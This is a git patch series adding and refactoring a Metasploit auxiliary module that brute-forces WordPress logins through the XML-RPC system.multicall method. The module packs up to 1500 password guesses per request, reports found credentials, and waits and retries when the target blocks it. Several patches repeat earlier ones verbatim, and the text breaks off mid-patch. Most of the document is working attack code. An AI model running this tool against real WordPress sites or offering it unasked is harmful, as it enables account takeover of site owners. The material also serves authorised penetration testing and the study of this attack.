From 9f4f478d2ddc021fcc1a810bee7f42030a243566 Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Mon, 9 Nov 2015 17:28:58 +0300 Subject: [PATCH 01/33] Add wordpress masive bruteforce using XMLRPC (wordpress API) --- .../wordpress_xmlrpc_massive_bruteforce.rb | 177 ++++++++++++++++++ 1 file changed, 177 insertions(+) create mode 100644 modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb new file mode 100644 index 0000000000..f8146b2fbf --- /dev/null +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -0,0 +1,177 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Massive WordPress bruteforce via XMLRPC', + 'Description' => %q{Wordpress massive burteforce attack via wordpress XMLRPC service.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Sabri (@KINGSABRI)', # MSF module + 'William (WCoppola@Lares.com)' # Requester + ], + 'References' => + [ + ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], + ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] + ], + 'DisclosureDate' => '2015' + )) + + register_options( + [ + OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), + OptPath.new('WPPASS_FILE', [ true, 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]) + ], self.class) + + + register_advanced_options( + [ + OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), + OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]) + ], self.class) + end + + def usernames + File.readlines(datastore['WPUSER_FILE']).map {|user| user.chomp} + end + + def passwords + File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp} + end + + def generate_xml user + + print_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 + xml_payloads = [] # Container for all generated XMLs + xml = "" + # Evil XML | Limit number of log-ins to 1500/request for wordpress limitation + passwords.each_slice(1500) do |pass_group| + + xml = "\n" + xml << "\n" + xml << "system.multicall\n" + xml << "\n" + xml << " \n" + pass_group.each do |pass| + + xml << " \n" + xml << " \n" + xml << " methodName\n" + xml << " wp.getUsersBlogs\n" + xml << " \n" + xml << " \n" + xml << " params\n" + xml << " \n" + xml << " #{user}\n" + xml << " #{pass}\n" + xml << " \n" + xml << " \n" + xml << " \n" + xml << " \n" + + end + xml << " \n" + xml << "\n" + xml << "" + + xml_payloads << xml + end + + print_status('Generating XMLs just done.') + return xml_payloads + end + + # + # Check target status + # + def check_wpstatus + print_status("Checking #{peer} status!") + + case + when !wordpress_and_online? + print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked!") + :abort + when !wordpress_xmlrpc_enabled? + print_error("#{rhost}:#{rport}#{target_uri} does not enable XMLRPC") + :abort + else + print_status("Target #{peer} is running Wordpress") + end + end + + def parse_response(res) + + resp.scan(/Incorrect username or password/) + + end + + def run + check_wpstatus + + usernames.each do |user| + passfound = false + + print_status("Bruteforcing user: #{user}") + generate_xml(user).each do |xml| + break if passfound == true + + opts = + { + 'method' => 'POST', + 'uri' => wordpress_url_xmlrpc, + 'data' => xml, + 'ctype' =>'text/xml' + } + + client = Rex::Proto::Http::Client.new(rhost) + client.connect + request = client.request_cgi(opts) + response = client.send_recv(request) + + # Request Parser + req_xml = Nokogiri::Slop xml + # Request length + # total_req = req_xml.document.methodCall.params.param.value.array.data.value.size + # print_status("Totla number of combinations: #{total_req}") + + # Response Parser + res_xml = Nokogiri::Slop response.to_s.scan(/<.*>/).join + + begin + res_xml.document.methodResponse.params.param.value.array.data.value.each_with_index do |value, i| + begin + # If this gives exception then its the correct password + value.struct.member[1].value.string.text + rescue + user = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[0].text + pass = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[1].text + + print_good("Credentials Found! #{user}:#{pass}") + passfound = true + end end + rescue NoMethodError + print_error("It seems you got blocked!") + print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") + sleep 6 * 60 + retry + # return :abort + end + print_status('Taking a nap for 2 seconds..') + sleep 2 + end end end + +end + From 9586f416a16b3f4d0dd6d17be96db1a427742466 Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Mon, 9 Nov 2015 17:37:06 +0300 Subject: [PATCH 02/33] Add wordpress masive bruteforce using XMLRPC (wordpress API) --- .../http/wordpress_xmlrpc_massive_bruteforce.rb | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index f8146b2fbf..d627769fc5 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary print_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs - xml = "" + xml = '' # Evil XML | Limit number of log-ins to 1500/request for wordpress limitation passwords.each_slice(1500) do |pass_group| @@ -113,9 +113,7 @@ class Metasploit3 < Msf::Auxiliary end def parse_response(res) - resp.scan(/Incorrect username or password/) - end def run @@ -143,10 +141,6 @@ class Metasploit3 < Msf::Auxiliary # Request Parser req_xml = Nokogiri::Slop xml - # Request length - # total_req = req_xml.document.methodCall.params.param.value.array.data.value.size - # print_status("Totla number of combinations: #{total_req}") - # Response Parser res_xml = Nokogiri::Slop response.to_s.scan(/<.*>/).join @@ -164,7 +158,7 @@ class Metasploit3 < Msf::Auxiliary end end rescue NoMethodError print_error("It seems you got blocked!") - print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") + print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") sleep 6 * 60 retry # return :abort From 2bf57a3cf3693e73891f74125b9fddde7baad272 Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Mon, 9 Nov 2015 18:23:15 +0300 Subject: [PATCH 03/33] Add wordpress masive bruteforce using XMLRPC (wordpress API) --- .../http/wordpress_xmlrpc_massive_bruteforce.rb | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index d627769fc5..bafdd49d3e 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( @@ -17,8 +17,8 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'Author' => [ - 'Sabri (@KINGSABRI)', # MSF module - 'William (WCoppola@Lares.com)' # Requester + 'William (WCoppola@Lares.com)', + 'Sabri (@KINGSABRI)' ], 'References' => [ @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), OptPath.new('WPPASS_FILE', [ true, 'File containing passwords, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]) + File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]) ], self.class) @@ -56,8 +56,8 @@ class Metasploit3 < Msf::Auxiliary print_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs - xml = '' - # Evil XML | Limit number of log-ins to 1500/request for wordpress limitation + xml = "" + # Evil XML | Limit number of log-ins to 1700/request for wordpress limitation passwords.each_slice(1500) do |pass_group| xml = "\n" @@ -113,7 +113,9 @@ class Metasploit3 < Msf::Auxiliary end def parse_response(res) + resp.scan(/Incorrect username or password/) + end def run @@ -158,7 +160,7 @@ class Metasploit3 < Msf::Auxiliary end end rescue NoMethodError print_error("It seems you got blocked!") - print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") + print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") sleep 6 * 60 retry # return :abort @@ -168,4 +170,3 @@ class Metasploit3 < Msf::Auxiliary end end end end - From 46e7c53950120c4c524d3ec5ae2dc0350603c8c7 Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Mon, 9 Nov 2015 19:04:33 +0300 Subject: [PATCH 04/33] Add wordpress masive bruteforce using XMLRPC (wordpress API) fix --- .../scanner/http/wordpress_xmlrpc_massive_bruteforce.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index bafdd49d3e..4b9b2ef0be 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -12,8 +12,8 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info( info, - 'Name' => 'Massive WordPress bruteforce via XMLRPC', - 'Description' => %q{Wordpress massive burteforce attack via wordpress XMLRPC service.}, + 'Name' => 'WordPress XMLRPC Massive Bruteforce ', + 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, 'License' => MSF_LICENSE, 'Author' => [ @@ -24,8 +24,7 @@ class Metasploit3 < Msf::Auxiliary [ ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] - ], - 'DisclosureDate' => '2015' + ] )) register_options( From fffbb4106fc7aea459a458932af12da939bce500 Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Tue, 10 Nov 2015 22:33:37 +0300 Subject: [PATCH 05/33] Refactoring.. --- .../wordpress_xmlrpc_massive_bruteforce.rb | 147 +++++++++--------- 1 file changed, 72 insertions(+), 75 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index 4b9b2ef0be..367878cbe2 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -11,35 +11,36 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info( - info, - 'Name' => 'WordPress XMLRPC Massive Bruteforce ', - 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'William (WCoppola@Lares.com)', - 'Sabri (@KINGSABRI)' - ], - 'References' => - [ - ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], - ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] - ] + info, + 'Name' => 'WordPress XMLRPC Massive Bruteforce ', + 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Sabri (@KINGSABRI)', # Module Writer + 'William (WCoppola@Lares.com)' # Module Requester + ], + 'References' => + [ + ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], + ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] + ] )) register_options( [ - OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), - OptPath.new('WPPASS_FILE', [ true, 'File containing passwords, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]) + OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), + OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), + OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]) ], self.class) register_advanced_options( [ - OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), - OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]) + OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), + OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]) ], self.class) end @@ -51,72 +52,70 @@ class Metasploit3 < Msf::Auxiliary File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp} end - def generate_xml user + def generate_xml(user) - print_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 + vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs xml = "" # Evil XML | Limit number of log-ins to 1700/request for wordpress limitation passwords.each_slice(1500) do |pass_group| - xml = "\n" - xml << "\n" - xml << "system.multicall\n" - xml << "\n" - xml << " \n" - pass_group.each do |pass| + document = Nokogiri::XML::Builder.new do |xml| + xml.methodCall { + xml.methodName("system.multicall") + xml.params { + xml.param { + xml.value { + xml.array { + xml.data { - xml << " \n" - xml << " \n" - xml << " methodName\n" - xml << " wp.getUsersBlogs\n" - xml << " \n" - xml << " \n" - xml << " params\n" - xml << " \n" - xml << " #{user}\n" - xml << " #{pass}\n" - xml << " \n" - xml << " \n" - xml << " \n" - xml << " \n" + pass_group.each do |pass| + xml.value { + xml.struct { + xml.member { + xml.name("methodName") + xml.value { xml.string("wp.getUsersBlogs") }} + xml.member { + xml.name("params") + xml.value { + xml.array { + xml.data { + xml.value { + xml.array { + xml.data { + xml.value { xml.string(user) } + xml.value { xml.string(pass) } + }}}}}}}}} + end + }}}}}} end - xml << " \n" - xml << "\n" - xml << "" - xml_payloads << xml + xml_payloads << document.to_xml end - print_status('Generating XMLs just done.') - return xml_payloads + vprint_status('Generating XMLs just done.') + xml_payloads end + # # Check target status # def check_wpstatus print_status("Checking #{peer} status!") - case - when !wordpress_and_online? - print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked!") - :abort - when !wordpress_xmlrpc_enabled? - print_error("#{rhost}:#{rport}#{target_uri} does not enable XMLRPC") - :abort - else - print_status("Target #{peer} is running Wordpress") + if !wordpress_and_online? + print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked!") + return + elsif !wordpress_xmlrpc_enabled? + print_error("#{rhost}:#{rport}#{target_uri} does not enable XMLRPC") + return + else + print_status("Target #{peer} is running Wordpress") end end - def parse_response(res) - - resp.scan(/Incorrect username or password/) - - end - def run check_wpstatus @@ -129,10 +128,10 @@ class Metasploit3 < Msf::Auxiliary opts = { - 'method' => 'POST', - 'uri' => wordpress_url_xmlrpc, - 'data' => xml, - 'ctype' =>'text/xml' + 'method' => 'POST', + 'uri' => wordpress_url_xmlrpc, + 'data' => xml, + 'ctype' =>'text/xml' } client = Rex::Proto::Http::Client.new(rhost) @@ -151,20 +150,18 @@ class Metasploit3 < Msf::Auxiliary # If this gives exception then its the correct password value.struct.member[1].value.string.text rescue - user = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[0].text - pass = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[1].text + user = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[0].text.strip + pass = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[1].text.strip - print_good("Credentials Found! #{user}:#{pass}") + print_good("Credentials Found! #{user}:#{pass}") passfound = true end end rescue NoMethodError - print_error("It seems you got blocked!") - print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") - sleep 6 * 60 + print_error('It seems you got blocked!') + print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes then I'll try again. CTR+C to exit") + sleep datastore['BLOCKEDWAIT'] * 60 retry - # return :abort end - print_status('Taking a nap for 2 seconds..') sleep 2 end end end From d498dc46a18a228d7c0f4d088e65504c152e7f4c Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Mon, 9 Nov 2015 17:28:58 +0300 Subject: [PATCH 06/33] Add wordpress masive bruteforce using XMLRPC (wordpress API) --- .../wordpress_xmlrpc_massive_bruteforce.rb | 177 ++++++++++++++++++ 1 file changed, 177 insertions(+) create mode 100644 modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb new file mode 100644 index 0000000000..f8146b2fbf --- /dev/null +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -0,0 +1,177 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Massive WordPress bruteforce via XMLRPC', + 'Description' => %q{Wordpress massive burteforce attack via wordpress XMLRPC service.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Sabri (@KINGSABRI)', # MSF module + 'William (WCoppola@Lares.com)' # Requester + ], + 'References' => + [ + ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], + ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] + ], + 'DisclosureDate' => '2015' + )) + + register_options( + [ + OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), + OptPath.new('WPPASS_FILE', [ true, 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]) + ], self.class) + + + register_advanced_options( + [ + OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), + OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]) + ], self.class) + end + + def usernames + File.readlines(datastore['WPUSER_FILE']).map {|user| user.chomp} + end + + def passwords + File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp} + end + + def generate_xml user + + print_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 + xml_payloads = [] # Container for all generated XMLs + xml = "" + # Evil XML | Limit number of log-ins to 1500/request for wordpress limitation + passwords.each_slice(1500) do |pass_group| + + xml = "\n" + xml << "\n" + xml << "system.multicall\n" + xml << "\n" + xml << " \n" + pass_group.each do |pass| + + xml << " \n" + xml << " \n" + xml << " methodName\n" + xml << " wp.getUsersBlogs\n" + xml << " \n" + xml << " \n" + xml << " params\n" + xml << " \n" + xml << " #{user}\n" + xml << " #{pass}\n" + xml << " \n" + xml << " \n" + xml << " \n" + xml << " \n" + + end + xml << " \n" + xml << "\n" + xml << "" + + xml_payloads << xml + end + + print_status('Generating XMLs just done.') + return xml_payloads + end + + # + # Check target status + # + def check_wpstatus + print_status("Checking #{peer} status!") + + case + when !wordpress_and_online? + print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked!") + :abort + when !wordpress_xmlrpc_enabled? + print_error("#{rhost}:#{rport}#{target_uri} does not enable XMLRPC") + :abort + else + print_status("Target #{peer} is running Wordpress") + end + end + + def parse_response(res) + + resp.scan(/Incorrect username or password/) + + end + + def run + check_wpstatus + + usernames.each do |user| + passfound = false + + print_status("Bruteforcing user: #{user}") + generate_xml(user).each do |xml| + break if passfound == true + + opts = + { + 'method' => 'POST', + 'uri' => wordpress_url_xmlrpc, + 'data' => xml, + 'ctype' =>'text/xml' + } + + client = Rex::Proto::Http::Client.new(rhost) + client.connect + request = client.request_cgi(opts) + response = client.send_recv(request) + + # Request Parser + req_xml = Nokogiri::Slop xml + # Request length + # total_req = req_xml.document.methodCall.params.param.value.array.data.value.size + # print_status("Totla number of combinations: #{total_req}") + + # Response Parser + res_xml = Nokogiri::Slop response.to_s.scan(/<.*>/).join + + begin + res_xml.document.methodResponse.params.param.value.array.data.value.each_with_index do |value, i| + begin + # If this gives exception then its the correct password + value.struct.member[1].value.string.text + rescue + user = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[0].text + pass = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[1].text + + print_good("Credentials Found! #{user}:#{pass}") + passfound = true + end end + rescue NoMethodError + print_error("It seems you got blocked!") + print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") + sleep 6 * 60 + retry + # return :abort + end + print_status('Taking a nap for 2 seconds..') + sleep 2 + end end end + +end + From b571a79b6983e46474e101adae7bc107a0b94d7a Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Mon, 9 Nov 2015 17:37:06 +0300 Subject: [PATCH 07/33] Add wordpress masive bruteforce using XMLRPC (wordpress API) --- .../http/wordpress_xmlrpc_massive_bruteforce.rb | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index f8146b2fbf..d627769fc5 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary print_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs - xml = "" + xml = '' # Evil XML | Limit number of log-ins to 1500/request for wordpress limitation passwords.each_slice(1500) do |pass_group| @@ -113,9 +113,7 @@ class Metasploit3 < Msf::Auxiliary end def parse_response(res) - resp.scan(/Incorrect username or password/) - end def run @@ -143,10 +141,6 @@ class Metasploit3 < Msf::Auxiliary # Request Parser req_xml = Nokogiri::Slop xml - # Request length - # total_req = req_xml.document.methodCall.params.param.value.array.data.value.size - # print_status("Totla number of combinations: #{total_req}") - # Response Parser res_xml = Nokogiri::Slop response.to_s.scan(/<.*>/).join @@ -164,7 +158,7 @@ class Metasploit3 < Msf::Auxiliary end end rescue NoMethodError print_error("It seems you got blocked!") - print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") + print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") sleep 6 * 60 retry # return :abort From 745738f065153c887203cd807a6de5490027035e Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Mon, 9 Nov 2015 18:23:15 +0300 Subject: [PATCH 08/33] Add wordpress masive bruteforce using XMLRPC (wordpress API) --- .../http/wordpress_xmlrpc_massive_bruteforce.rb | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index d627769fc5..bafdd49d3e 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( @@ -17,8 +17,8 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'Author' => [ - 'Sabri (@KINGSABRI)', # MSF module - 'William (WCoppola@Lares.com)' # Requester + 'William (WCoppola@Lares.com)', + 'Sabri (@KINGSABRI)' ], 'References' => [ @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), OptPath.new('WPPASS_FILE', [ true, 'File containing passwords, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]) + File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]) ], self.class) @@ -56,8 +56,8 @@ class Metasploit3 < Msf::Auxiliary print_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs - xml = '' - # Evil XML | Limit number of log-ins to 1500/request for wordpress limitation + xml = "" + # Evil XML | Limit number of log-ins to 1700/request for wordpress limitation passwords.each_slice(1500) do |pass_group| xml = "\n" @@ -113,7 +113,9 @@ class Metasploit3 < Msf::Auxiliary end def parse_response(res) + resp.scan(/Incorrect username or password/) + end def run @@ -158,7 +160,7 @@ class Metasploit3 < Msf::Auxiliary end end rescue NoMethodError print_error("It seems you got blocked!") - print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") + print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") sleep 6 * 60 retry # return :abort @@ -168,4 +170,3 @@ class Metasploit3 < Msf::Auxiliary end end end end - From d19942eae31913cef93fde4a9e280fe398bfc982 Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Mon, 9 Nov 2015 19:04:33 +0300 Subject: [PATCH 09/33] Add wordpress masive bruteforce using XMLRPC (wordpress API) fix --- .../scanner/http/wordpress_xmlrpc_massive_bruteforce.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index bafdd49d3e..4b9b2ef0be 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -12,8 +12,8 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info( info, - 'Name' => 'Massive WordPress bruteforce via XMLRPC', - 'Description' => %q{Wordpress massive burteforce attack via wordpress XMLRPC service.}, + 'Name' => 'WordPress XMLRPC Massive Bruteforce ', + 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, 'License' => MSF_LICENSE, 'Author' => [ @@ -24,8 +24,7 @@ class Metasploit3 < Msf::Auxiliary [ ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] - ], - 'DisclosureDate' => '2015' + ] )) register_options( From 91867d344b406339cb46b587ede0282f225c85fc Mon Sep 17 00:00:00 2001 From: KINGSABRI Date: Tue, 10 Nov 2015 22:33:37 +0300 Subject: [PATCH 10/33] Refactoring.. --- .../wordpress_xmlrpc_massive_bruteforce.rb | 147 +++++++++--------- 1 file changed, 72 insertions(+), 75 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index 4b9b2ef0be..367878cbe2 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -11,35 +11,36 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info( - info, - 'Name' => 'WordPress XMLRPC Massive Bruteforce ', - 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'William (WCoppola@Lares.com)', - 'Sabri (@KINGSABRI)' - ], - 'References' => - [ - ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], - ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] - ] + info, + 'Name' => 'WordPress XMLRPC Massive Bruteforce ', + 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Sabri (@KINGSABRI)', # Module Writer + 'William (WCoppola@Lares.com)' # Module Requester + ], + 'References' => + [ + ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], + ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] + ] )) register_options( [ - 